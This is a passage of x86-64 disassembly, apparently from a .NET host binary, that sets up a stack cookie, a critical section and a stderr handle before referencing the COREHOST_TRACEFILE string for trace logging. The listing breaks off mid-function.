mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
mov rbp, rsp
sub rsp, 0x70
mov rax, qword [0x140024020]
xor rax, rsp
mov qword [rbp - 8], rax
xor r12b, r12b
xor r13d, r13d
mov qword [rbp - 0x48], r13
mov qword [rbp - 0x38], r13
mov esi, 7
mov qword [rbp - 0x30], rsi
mov word [rbp - 0x48], r13w
cmp dword [0x1400254c8], r13d
je 0x1400067a9
xor bl, bl
jmp 0x140006a21
lea rax, [0x140025498]
mov qword [rbp - 0x50], rax
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
nop
mov ecx, 2
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func]
mov qword [0x1400254c0], rax
mov qword [rbp - 0x38], r13
lea rax, [rbp - 0x48]
cmp qword [rbp - 0x30], 8
cmovae rax, qword [rbp - 0x48]
mov word [rax], r13w
xor r8d, r8d
xor edx, edx
lea rcx, str.COREHOST_TRACEFILE